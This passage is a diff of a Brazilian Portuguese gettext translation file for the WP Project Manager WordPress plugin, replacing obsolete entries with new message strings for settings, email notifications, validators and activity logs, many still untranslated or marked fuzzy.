-msgid "Plain Text" -msgstr "Texto Simples" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Limite para envio de arquivo" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Prazo" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Exibir Tarefa" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nova Mensagem" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Exibir Mensagem" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -# @ cpm -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Exibir Projeto" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -# @ cpm -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Atualizar Lista" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -# @ cpm -#~ msgid "Project created by %s" -#~ msgstr "Projeto criado por %s" - -# @ cpm -#~ msgid "Project details updated by %s" -#~ msgstr "Descrição do projeto atualizado por %s" - -# @ cpm -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Mensagem \"%s\" excluída por %s" - -# @ cpm -#~ msgid "%s deleted a comment" -#~ msgstr "%s excluiu um comentário" - -# @ cpm -#~ msgid "Add a comment..." -#~ msgstr "Adicionar um comentário..." - -# @ cpm -#~ msgid "Messages" -#~ msgstr "Mensagens" - -# @ cpm -#~ msgid "message post type" -#~ msgstr "formato da mensagem" - -# @ cpm -#~ msgid "Edit Message" -#~ msgstr "Editar Mensagem" - -# @ cpm -#~ msgid "Search Messages" -#~ msgstr "Pesquisar Mensagens" - -# @ cpm -#~ msgid "Parent Message" -#~ msgstr "Mensagem Relacionada" - -# @ cpm -#~ msgid "Add New Milestone" -#~ msgstr "Adicionar Novo Marco" - -# @ cpm -#~ msgid "New Milestone" -#~ msgstr "Novo Marco" - -# @ cpm -#~ msgid "View Milestone" -#~ msgstr "Exibir Marco" - -# @ cpm -#~ msgid "Search Milestone" -#~ msgstr "Pesquisar Marco" - -# @ cpm -#~ msgid "Parent Milestone" -#~ msgstr "Marco Relacionado" - -# @ cpm -#~ msgid "project manager post type" -#~ msgstr "tipo de post para gestão de projeto" - -# @ cpm -#~ msgid "Add Project" -#~ msgstr "Adicionar Projeto" - -# @ cpm -#~ msgid "Edit Project" -#~ msgstr "Editar Projeto" - -# @ cpm -#~ msgid "Search Project" -#~ msgstr "Pesquisar Projeto" - -# @ cpm -#~ msgid "Parent Project" -#~ msgstr "Projeto Relacionado" - -# @ cpm -#~ msgid "Add Task List" -#~ msgstr "Adicionar Lista de Tarefas" - -# @ cpm -#~ msgid "Add New Task List" -#~ msgstr "Adicionar Nova Lista de Tarefas" - -# @ cpm -#~ msgid "Edit Task List" -#~ msgstr "Editar Lista de Tarefas" - -# @ cpm -#~ msgid "View Task List" -#~ msgstr "Exibir Lista de Tarefas" - -# @ cpm -#~ msgid "Search Task List" -#~ msgstr "Pesquisar Lista de Tarefas" - -# @ cpm -#~ msgid "Parent Task List" -#~ msgstr "Lista de Tarefas Relacionada" - -# @ cpm -#~ msgid "Add New Task" -#~ msgstr "Adicionar Nova Tarefa" - -# @ cpm -#~ msgid "Edit Task" -#~ msgstr "Editar Tarefa" - -# @ cpm -#~ msgid "New Task" -#~ msgstr "Nova Tarefa" - -# @ cpm -#~ msgid "Search Task" -#~ msgstr "Pesquisar Tarefa" - -# @ cpm -#~ msgid "Parent Task" -#~ msgstr "Tarefa Relacionada" - -# @ cpm -#~ msgid "Delete project" -#~ msgstr "Excluir Projeto" - -# @ cpm -#~ msgid "Add this comment" -#~ msgstr "Adicionar um comentário" - -# @ cpm -#~ msgid "late" -#~ msgstr "atrasado" - -# @ cpm -#~ msgid "Attached to %s by %s" -#~ msgstr "Anexado em %s por %s" - -# @ cpm -#~ msgid "Error: Message not found" -#~ msgstr "Erro: Mensagem não encontrada" - -# @ cpm -#~ msgid "Error: Project not found" -#~ msgstr "Erro: Projeto não encontrado" - -# @ cpm -#~ msgid "Error: Permission denied" -#~ msgstr "Erro: Permissão negada" - -# @ cpm -#, fuzzy -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 Comentário" -#~ msgstr[1] "1 Comentário" - -# @ cpm -#~ msgid "Message %s created by %s" -#~ msgstr "Mensagem %s criada por %s" - -# @ cpm -#~ msgid "Message %s updated by %s" -#~ msgstr "Mensagem %s atualizada por %s" - -# @ cpm -#~ msgid "To-do list %s created by %s" -#~ msgstr "Lista de Tarefas %s criada por %s" - -# @ cpm -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Lista de Tarefas %s atualizada por %s" - -# @ cpm -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Lista de Tarefas \"%s\" excluída por %s" - -# @ cpm -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Tarefa %s adicionada à Lista de Tarefas %s por %s" - -# @ cpm -#~ msgid "To-do %s updated by %s" -#~ msgstr "Tarefa %s atualizada por %s" - -# @ cpm -#~ msgid "To-do %s completed by %s" -#~ msgstr "Tarefa %s completa por %s" - -# @ cpm -#~ msgid "Marked to-do as done" -#~ msgstr "Tarefa marcada como realizada" - -# @ cpm -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Tarefa %s marcada como incompleta por %s" - -# @ cpm -#~ msgid "Re-opened to-do" -#~ msgstr "Re-abrir tarefa" - -# @ cpm -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Tarefa \"%s\" excluída da Lista de Tarefa %s por %s" - -# @ cpm -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Marco \"%s\" adicionado por %s " - -# @ cpm -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Marco \"%s\" atualizado por %s " - -# @ cpm -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Marco \"%s\" excluído por %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Marco \"%s\" sinalizado como completo por %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Marco \"%s\" sinalizado como incompleto por %s " - -# @ cpm -#~ msgid "General" -#~ msgstr "Geral" - -# @ cpm -#~ msgid "No Messages Found" -#~ msgstr "Nenhuma mensagem encontrada" - -# @ cpm -#~ msgid "No Messages Found in Trash" -#~ msgstr "Nenhuma mensagem encontrada na lixeira" - -# @ cpm -#~ msgid "No Milestone Found" -#~ msgstr "Nenhum Marco encontrado" - -# @ cpm -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Nenhum Marco encontrado na lixeira" - -# @ cpm -#~ msgid "No Project Found in Trash" -#~ msgstr "Nenhum Projeto encontrado na lixeira" - -# @ cpm -#~ msgid "No Task List Found" -#~ msgstr "Nenhum Lista de Tarefas encontrada" - -# @ cpm -#~ msgid "No Task List Found in Trash" -#~ msgstr "Nenhum Lista de Tarefas encontrada na lixeira" - -# @ cpm -#~ msgid "No Task Found" -#~ msgstr "Nenhum Tarefa encontrada" - -# @ cpm -#~ msgid "No Task Found in Trash" -#~ msgstr "Nenhuma Tarefa encontrada na lixeira" - -# @ cpm -#~ msgid "Select co-workers" -#~ msgstr "Selecionar Equipe" - -# @ cpm -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Você quer mesmo excluir essa tarefa?" - -# @ cpm -#~ msgid "Add this to-do" -#~ msgstr "Adicionar esta tarefa" - -# @ cpm -#~ msgid "Add a new to-do" -#~ msgstr "Adicionar nova tarefa" - -# @ cpm -#~ msgid "-- milestone --" -#~ msgstr "-- marco ---" - -# @ cpm -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Você quer mesmo excluir esta lista de tarefas?" - -# @ cpm -#~ msgid "Update comment" -#~ msgstr "Atualizar comentário" - -# @ cpm -#~ msgid "Edit milestone" -#~ msgstr "Editar marco" - -# @ cpm -#~ msgid "Mark un-complete" -#~ msgstr "Marcar como incompleto" - -# @ cpm -#~ msgid "To-do List" -#~ msgstr "Lista de Tarefas" - -# @ cpm -#~ msgid "Notify Co-workers" -#~ msgstr "Notificar Equipe" - -# @ cpm -#~ msgid "thread" -#~ msgstr "discussão" - -# @ cpm -#~ msgid "One Comment" -#~ msgid_plural "%s Comments" -#~ msgstr[0] "Um Comentário" -#~ msgstr[1] "%s Comentários" - -# @ cpm -#~ msgid "Discuss this to-do list" -#~ msgstr "Discutir sobre esta Lista de Tarefas" - -# @ default -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "tamanho do arquivo em Megabyte. Ex: 2" - -# @ cpm -#~ msgid "New Project Subject" -#~ msgstr "Título do Projeto" - -# @ cpm -#~ msgid "New Project Body" -#~ msgstr "Descrição do Projeto" - -# @ cpm -#~ msgid "New Message Subject" -#~ msgstr "Título da Mensagem" - -# @ cpm -#~ msgid "New Message Body" -#~ msgstr "Descrição da Mensagem" - -# @ cpm -#~ msgid "New Comment Subject" -#~ msgstr "Título do Comentário" - -# @ cpm -#~ msgid "New Assigned Task Subject" -#~ msgstr "Título da Nova Tarefa Atribuída" - -# @ cpm -#~ msgid "-- assign to --" -#~ msgstr "-- atribuir para --" - -# @ cpm -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Para anexar, selecione os " -#~ "arquivos em seu computador." - -# @ cpm -#~ msgid "%d Comments" -#~ msgstr "%d Comentários" - -# @ cpm -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Finalizado por %s em %s)" - -# @ cpm -#~ msgid "Tasklist name" -#~ msgstr "Nome da Lista de Tarefas" - -# @ cpm -#~ msgid "Add a to-do" -#~ msgstr "Adicionar nova Tarefa" - -# @ cpm -#~ msgid "Message details here" -#~ msgstr "Escreva sua mensagem aqui" - -# @ cpm -#~ msgid "Details about milestone (optional)" -#~ msgstr "Descrição sobre o marco (opcional)" - -# @ cpm -#~ msgid "Reopen" -#~ msgstr "Re-abrir" - -# @ cpm -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Download ou participe da discussão." - -# @ cpm -#~ msgid "No Files Found!" -#~ msgstr "Nenhum arquivo encontrado!" - -# @ cpm -#~ msgid "Add New" -#~ msgstr "Adicionar Nova" - -# @ cpm -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Nenhum mensagem encontrada! Que tal adicionar uma?" - -# @ cpm -#~ msgid "← back" -#~ msgstr "← voltar" - -# @ cpm -#~ msgid "No Milestone Found!" -#~ msgstr "Nenhum Marco encontrado!" - -# @ cpm -#~ msgid "Add new milestone" -#~ msgstr "Adicionar novo marco" - -# @ cpm -#~ msgid "Project Info" -#~ msgstr "Informações sobre o Projeto" - -# @ cpm -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Nenhum Lista de Tarefas encontrada!" - -# @ cpm -#~ msgid "Discuss this to-do" -#~ msgstr "Discutir sobre esta Tarefa" - -# @ cpm -#~ msgid "%d message" -#~ msgid_plural "%d messages" -#~ msgstr[0] "%d mensagem" -#~ msgstr[1] "%d mensagens" - -# @ cpm -#~ msgid "%d to-do list" -#~ msgid_plural "%d to-do lists" -#~ msgstr[0] "%d lista de tarefas" -#~ msgstr[1] "%d listas de tarefas" - -# @ cpm -#~ msgid "%d to-do" -#~ msgid_plural "%d to-dos" -#~ msgstr[0] "%d tarefa" -#~ msgstr[1] "%d tarefas" - -# @ cpm -#~ msgid "%d milestone" -#~ msgid_plural "%d milestones" -#~ msgstr[0] "%d marco" -#~ msgstr[1] "%d marcos" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager v0.4.1\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:54+0600\n" +"Last-Translator: Tareq Hasan \n" +"Language-Team: Anderson Blaine \n" +"Language: pt_BR\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n > 1);\n" +"X-Generator: Poedit 2.0.8\n" +"X-Poedit-SourceCharset: UTF-8\n" +"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" +"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" +"X-Poedit-Basepath: .\n" +"X-Textdomain-Support: yes\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Mensagem" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Lista de Tarefas" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Tarefa" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Arquivos" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Atualizar Projeto" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +# @ cpm +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Saiba Mais..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +# @ default +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Arquivos Permitidos" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +# @ cpm +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Configurações" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +# @ cpm +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Gestão de Projetos" + +# @ cpm +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projetos" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +# @ cpm +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Descrição da Lista de Tarefas" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +# @ cpm +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s comentou em %s" + +# @ cpm +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s comentou em %s" + +# @ cpm +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s atualizou comentário em %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s atualizou comentário em %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s comentou em %s" + +# @ cpm +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a 